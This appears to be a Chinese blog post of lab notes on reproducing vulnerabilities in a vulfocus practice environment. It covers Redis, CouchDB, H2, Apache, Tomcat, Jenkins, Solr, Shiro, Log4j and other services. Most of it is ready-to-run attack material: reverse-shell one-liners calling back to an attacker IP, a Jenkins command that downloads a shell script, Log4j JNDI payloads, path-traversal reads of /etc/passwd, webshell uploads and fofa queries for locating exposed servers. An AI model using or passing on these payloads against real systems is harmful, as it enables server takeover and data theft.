1.26 漏洞复现

安装vulfocus靶场,下载链接:https://pan.baidu.com/s/1wY6QmW5EmWaYm9u88nKF2w?pwd=d4ue

并且下载服务器攻防工具:https://pan.baidu.com/s/1UxdruKscaAPK_DuSLQuhwg?pwd=qrwc

启动靶场

登陆密码test123

注: 靶场机ifconfig必须保证和攻击机网段一致(都开网桥或者都开NAT模式)

终端执行

sudo su 输入登录密码

docker ps -a

发现9bda的虚拟机

docker start 9bda

开始实验

在攻击机的浏览器中访问靶场的ip

使用用户名:密码admin:admin登录

镜像管理–镜像管理-一键同步

redis系列服务

默认端口6379

fofa搜索 port="6379" && protocol="redis"

redis服务默认就是没有用户名和密码的

找到服务攻防工具中的redis文件夹中的Another-Redis-Desktop-Manager并安装

Redis:CVE-2022-0543

在vulfocus中搜索该环境并启动,根据弹窗中的IP和端口使用刚才安装的软件连接数据库

在软件中打开命令行模式,输入以下漏洞代码:

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Redis:CNVD-2015-07557

在服务攻防工具中的redis文件夹中找到redis-rogue-server-master(CNVD-2015-07557).zip复制到kali环境下解压,使用以下命令运行:

1
2
chmod 777 -R ./*
python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击端口

选择reverse shell反向连接

192.168.0.106(攻击IP) 4444 此时kali开nc -lvp 4444

此时在nc可以使用一些Linux的命令

Redis:CNVD-2019-21763

同样将redis-rogue-getshell(CNVD-2019-21763).zip转移到kali环境,使用以下命令运行:

1
python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

Couchdb:CVE-2017-12635(权限绕过)

开源数据库,储存数据格式json,js查询语言

数据库会开放3个端口,看谁会理你,就打谁


1、先创建用户

抓包并修改数据包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PUT /_users/org.couchdb.user:usertest1 HTTP/1.1
Host: 目标IP:端口
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "usertest1",
  "roles": ["_admin"],
  "roles": [],
  "password": "usertest1"
}

浏览器网页返回"ok":true

2、登录用户授权

http://目标IP:端口/_utils/

用户名密码

usertest1:usertest1

Couchdb:CVE-2017-12635(命令执行)

在服务攻防工具中的couchdb文件夹中找到couchdb.py,同样复制到Kali环境。

编辑该脚本,编辑目标的ip和端口和自己的ip,例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://目标IP:端口'
command = rb"""sh -i >& /dev/tcp/自己IP/9988 0>&1"""
version = 1

session = requests.session()
session.headers = {
# 以下省略

先用nc监听9988端口

nc -lvp 9988

再执行python couchdb.py

此时目标会反弹shell到本地,可以在nc的终端页面执行命令

h2database:CVE-2022-23221

漏洞一:未授权进入

在JDBC URL中填入:

1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

点击connect,直接进入了后台

漏洞二:RCE执行反弹

在攻击机上创建文件h2database.sql,内容为:

1
2
3
4
5
6
CREATE TABLE test (
  id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64编码后的反弹指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/攻击IP/6666 0>&1

在当前文件夹中启动CMD,执行python -m http.server

启动nc监听6666端口,nc -lvvp 6666

在h2database的登录窗口的JDBC URL填入:

1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.80.134:8000/h2database.sql';\

点击connect,观察到nc上已经拿到了目标上的root终端。

Apache:CVE-2021-42013

攻击端用nc监听5566端口,nc -lvvp 5566

使用hackbarPOST一段内容,同时用burp抓包

修改数据包头(也就是第一行):POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

修改下方的POST内容:

1
echo;perl -e 'use Socket;$i="攻击IP";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Apache:CVE-2021-41773(目录穿越)

fafa搜索server="Apache/2.4.49"

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

使用Kali执行下面的命令即可:

1
curl -v --path-as-is 'http://目标IP:端口/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

tomcat-pass-getshell:弱口令

配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell

  • 先爆破弱口令
  • 后门压缩zip改war
  • 上传war访问链接

打开网站,点击manageapp,用户名密码都是tomcat或者admin

发现WAR file to deploy

哥斯拉生成jsp木马(有效载荷是JavaDynamicPayload),压缩为zip,改名为a1.war

之后发现网站有一个/a1

地址为http://目标IP:端口/a1/a1.jsp

哥斯拉(ONE-FOX集成工具箱)连接即可(记得选相同的有效载荷)

tomcat:CVE-2017-12615(文件上传)

burp直接首页抓包,改为PUT,内容为从文件粘贴jsp木马的代码

PUT /x.jsp/

PUT /xx.jsp%20

PUT /xxx.jsp::$DATA

之后木马就在http://目标IP:端口/xxx.jsp

jenkins:CVE-2018-1000861

服务攻防\jenkins\CVE-2018-1000861创建shell.txt内容为:

1
bash -i >& /dev/tcp/攻击IP/5566 0>&1

随后在同目录下执行

1
2
python -m http.server 8888
python2 exp.py http://目标IP:端口/ "curl -o /tmp/1.sh http://攻击IP:8888/shell.txt"

此时目标的/tmp/1.sh有了

攻击端使用nc监听nc -lvvp 5566

接着在刚才的目录执行

1
python2 exp.py http://192.168.142.129:62408/ "bash /tmp/1.sh"

laravel:CVE-2021-3129(RCE)

要求:Laravel <= 8.4.2

进入服务攻防\Laravel\CVE-2021-3129-main

执行:

1
python exp.py http://目标IP:端口

thinkphp

#Thinkphp-3.X RCE-6.X RCE

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架

综合工具:武器库-Thinkphp专检(3-6版本)

CVE-2018-1002015

one-fox的thinkphp综合利用工具,地址写进去检测,可以检测出漏洞

选择thinkphp5.0 rce,命令写whoami即可

CNVD-2018-24942

one-fox的thinkphp综合利用工具,地址写进去检测,可以检测出漏洞

struts(s2)

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。

可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

fofa搜索app="struts2"

struts2:CVE-2020-17530( 代码执行 )

要求: Apache Struts 2.0.0 - 2.5.25

找到服务攻防\struts2\s2-062-main

当前目录执行:

1
python .\s2-062.py --url http://目标IP:端口/ --cmd id

会出现信息

Spring(目录遍历)

0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

参考文献:https://blog.csdn.net/weixin_43165012/article/details/121152482

如果是Linux服务器

http://目标IP:端口/manage/log/view?filename=etc/passwd&base=../../../../../../

如果是windows服务器

http://目标IP:端口/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

退格是为了确保退到根目录

Solr:CVE-2019-17558(命令执行)

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

历史漏洞:https://avd.aliyun.com/search?q=Solr

黑盒特征:图标及端口8393

fofa搜port="8983" && title="Solr Admin"

要求: Apache Solr 5.0.0版本至8.3.1

找到服务攻防\solr\solr_rce-master

1
2
3
python2 solr_rce.py http://目标IP:端口 id
# 可以发现内容
python2 solr_rce.py http://目标IP:端口 "cat /etc/passwd"

Solr:CVE-2021-27905(文件读取&SSRF)

全版本官方拒绝修复漏洞

获取数据库名

1
http://目标IP:端口/solr/admin/cores?indexInfo=false&wt=json

可以获取status的name为demo

访问触发

1
2
3
curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://目标IP:端口/solr/demo/config'

任意文件读取

1
curl -i -s -k 'http://目标IP:端口/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

shiro:CVE-2016-4437(命令执行)

ava安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞:https://avd.aliyun.com/search?q=Shiro

黑盒特征:数据包cookie里面rememberMe

利用one-fox工具箱中的shiro-attack工具。

目标地址写http://目标IP:端口/

请求头Abc: 123,post数据a=123

爆破密钥kPH+bIxk5D2deZiIxcaaaA==

爆破利用链和回显,发现common2和AllEcho

log4j:CVE-2021-44228(远程命令执行)

Apache的一个开源项目,是一个基于Java的日志记录框架。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

黑盒特征:盲打 会问蓝队攻击特征(关键词${jndi:rmi:///osutj8}

要求: Apache Log4j2 2.0 - 2.15.0-rc1

在dnslog平台获取一个域名,制作payload

1
${jndi:ldap://域名}

将上面的payloadURL编码后拼接在http://目标IP:端口/hello?payload=之后并访问

发现dnslog有响应,说明漏洞存在


构造第二个payload

1
bash -c 'exec bash -i &>/dev/tcp/攻击IP/5566 <&1'

使用base64编码后拼接在下面

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,payload放在这里}|{base64,-d}|{bash,-i}" -A 攻击IP

nc监听nc -lvvp 5566

进入服务攻防\log4j在当前目录执行上面拼接好的命令

在命令行中返回的内容里选择tomcat 8+的地址作为payload,例如:

1
2
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.134:1099/u8ebi9	//这个是地址

拼接到下面的地址中

1
http://192.168.80.151:42927/hello?payload=${jndi:插在这}

同样把payload=后面的内容进行URL编码后直接访问,发现nc中有目标的root身份终端。

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS